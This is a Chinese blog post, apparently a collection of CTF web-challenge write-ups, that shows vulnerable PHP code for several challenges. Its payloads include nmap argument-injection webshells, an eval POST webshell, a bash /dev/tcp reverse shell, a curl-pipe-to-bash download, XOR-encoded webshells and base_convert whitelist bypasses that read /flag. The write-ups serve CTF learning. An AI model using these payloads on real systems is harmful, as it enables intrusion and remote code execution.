文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   3.9k

GXYCTF2019 Ping Ping Ping

TODO

ACTF2020 新生赛 Exec

TODO

BUUCTF2018 Online Tool

考点

  • Nmap参数注入

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

参考之前学习PHP代码审计的一篇文章,escapeshellarg函数和escapeshellcmd函数同时使用会导致单引号逃逸。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$host = "' <?php phpinfo();?> -oN shell.php '";
$host = (string)$host;
echo "host:".$host;
echo "</br>"."\n";
$arg = escapeshellarg($host);
echo "arg:".$arg;
echo "</br>"."\n";
$cmd = escapeshellcmd($arg);
echo "cmd:".$cmd;
echo "</br>"."\n";
?>

对于单个单引号, escapeshellarg()函数转义后,还会在左右各加一个单引号,但escapeshellcmd()函数是直接加一个转义符。
对于成对的单引号, escapeshellcmd()函数默认不转义,但escapeshellarg()函数转义。
host参数先经过escapeshellarg()再经过escapeshellcmd()就会出现问题。
escapeshellarg 先转义了一个单引号,然后引入了一对单引号, escapeshellcmd 不会转义成对的单引号,但是会转义转移符\,这样, 转移符作用失效,逃逸出来一个单引号。

payload:

1
?host=' <?php `cat /flag`;?> -oN shell.php '

网鼎杯2020 朱雀组 Nmap

考点

  • Nmap参数注入

解题

和上面一道题比较像了,都是考察Nmap参数注入,但是没有显示源码。

直接用Online Tool的payload进行测试

1
' <?php @eval($_POST["hack"]);?> -oG hack.php '

提示hacker,Fuzz之后发现应该是过滤PHP关键字,改用短标签和phtml后缀绕过。

1
' <?=@eval($_POST["hack"]);?> -oG hack.phtml '

没有提示其他黑名单信息,访问当前目录下的hack.phtml文件存在,用蚁剑连接,拿到flag。

参考文章:https://zhuanlan.zhihu.com/p/145906109

RoarCTF2019 Easy Calc

考点

解题

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
//对输入的特殊字符进行URL编码并以GET方式访问请求
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

访问calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

第13行eval可以执行PHP代码,测试发现num参数不能输入非数字的值,否则会直接500。

payload:

1
calc.php?%20num=phpinfo()

例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

代码中过滤了/,用chr绕过:

1
http://node3.buuoj.cn:26901/calc.php?%20num=var_dump(scandir(chr(47)))

读取/f1agg

1
http://node3.buuoj.cn:26901/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

watevrCTF-2019 Supercalc

TODO

RCTF2019 calcalcalc

TODO

De1CTF 2019 9calc

TODO

GXYCTF2019 禁止套娃

考点

  • Git源码泄露
  • 无参数webshell

解题

dirmap扫描发现有Git目录,用GitHack download下来,审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

这个正则表达式/[a-z,_]+\((?R)?\)/很明显是无参数webshell,直接上payload查看当前路径下的文件:

1
?exp=var_dump(scandir(pos(localeconv())));

1
readfile(array_rand(array_flip(scandir(current(localeconv())))));

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

当然,还可以写header字段,然后用get_all_header()函数获得flag.php文件。

BJDCTF 2nd duangShell

考点

  • swp文件泄露
  • 反弹shell

解题

打开题目提示swp文件泄露,访问.index.php.swp下载文件,vim -r index.php.swp恢复文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

观察源代码之后发现是绕过过滤之后命令执行的题目。

因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过

1
a=ca;b=t;c=flag;``$ab` `$c

禁用了base64之后不能使用base64编码绕过

1
echo "Y2F0IGZsYWc=" | base64 -d

而且exec()函数是没有回显的,又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。

这道题用到的是反弹shell,先用小号开一个Linux靶机,用SSH登录上去,查看ip地址。

/var/www/html/re_shell.txt写入反弹shell命令:

1
bash -i >& /dev/tcp/[ip]/[port] 0>&1

再监听本地的对应端口,在靶机上访问

1
girl_friend=curl http://[ip]/[文件名]|bash

本机获得shell后,查找flag

1
find / -name *flag*

极客大挑战2019 RCE ME

考点

  • 无数字字母的webshell
  • disable_function绕过

解题

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这个知识点都要考烂了,先用phpinfo验证一下,直接给payload:

1
?code=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

先构造一个shell,用蚁剑连接

1
?code=${%86%86%86%86^%d9%c1%c3%d2}[_](${%86%86%86%86^%d9%c1%c3%d2}[__]);&_=assert&__=eval($_POST[%27a%27])

PHP7.0 还可以使用assert来执行php语句,PHP7.1之后就不行了。

然后再加载绕过disable_function的插件,运行readflag即可。

WUSTCTF2020 朴实无华

考点

  • intval函数绕过
  • md5弱类型
  • Linux命令空格和cat绕过

解题

根据hint访问fl4g.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

套娃题,一层一层的来看。

第一层是用科学计数法绕过intval函数的if判断,给一个demo

1
2
3
4
5
6
7
8
9
<?php
$a="3e4";
echo intval($a);
// 3

$b="3e4";
echo intval($b+1);
?>
// 30001

这是因为进行+1操作的时候会先将$a的科学计数法解析然后再加1。

以下只适合php7.0及以下版本

第二层是md5的弱比较

1
2
3
4
0e215962017
md5值:0e291242476940776845150308577824
0e2159620
md5值:0e2159620

第三层是绕过空格和cat命令,空格的代替方式${IFS}$IFS,cat的代替方式ca\tsortmore等等。

CISCN2019 华北赛区 love math

考点

  • 代码审计

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

审计

可以看到代码对于我们的传参进行了如下限制:

  1. 长度限制<80

  2. 黑名单特殊字符限制

  3. 正则匹配字符通过白名单验证,比如

    1
    2
    3
    4
    5
    abs(1)能过
    1abs()能过
    absa()不能过
    abs(a)不能过
    abs()a不能过

其中正则匹配字符:

1
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 

是将$content变量中以字母开头的字符串组成数组储存在$used_funcs变量中。

查看$whitelist我们可以看到两个进制转换函数:

  • base_convert():在任意进制之间转换数字(2 - 32 进制)。
  • dechex():把十进制数转换为十六进制数。

我们知道32进制包括0-9a-z等字符。所以我们可以通过base_convert()函数利用进制转换构造特定的字符串。

构造payload

方法一

由于长度的限制,肯定是要构造{$_GET}{xx}({$_GET}{yy})来执行shell。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

首先把$_GET转换为10进制表示:

1
2
>>> int(binascii.b2a_hex(b'_GET'), 16)
1598506324

再利用base_convert函数构造hex2bin函数:

1
2
php > var_dump(base_convert(37907361743, 10, 36));
string(7) "hex2bin"

最后,我们就利用dechex函数把10进制表示的$_GET转换为16进制表示,然后传入hex2bin()函数。

所以最后的payload:

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

另外一种形式:

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));${$pi}{pi}(${$pi}{abs})&pi=system&abs=cat%20/flag
方法二

通过getallheaders()函数,读取写入HTTP request header字段的值。

payload的构造方式和上面一样

1
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

解释如下:

1
2
3
4
5
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

NESTCTF2019 Love Math2

考点

  • 代码审计
  • Fuzz

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

和上面的那道题基本上是一样的,但是限制更为严格,参数长度必须小于60,所以那道题的两个方法都不能用,这里再介绍一种Fuzz的脚本。

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

主要目的就是想fuzz出_GET字符串。可以把这个字符串拆分成两段。先查找_G

1
2
3
4
5
6
7
$ php fuzz.php | grep _G
is_finite^64==>_G
is_infinite^64==>_G
is_nan^64==>_G
mt_getrandmax^23==>_G
mt_rand^23==>_G
mt_srand^23==>_G

再来查找ET

1
2
3
4
5
$ php fuzz.php | grep ET
rad2deg^75==>ET
rand^75==>ET
tan^15==>ET
tanh^15==>ET

选择函数名最短的即可。最终的payload:

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

或者

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));${$pi}{0}(${$pi}{1})&0=system&1=cat%20/flag
Copyright © ca01h 2019-2020 | 本站总访问量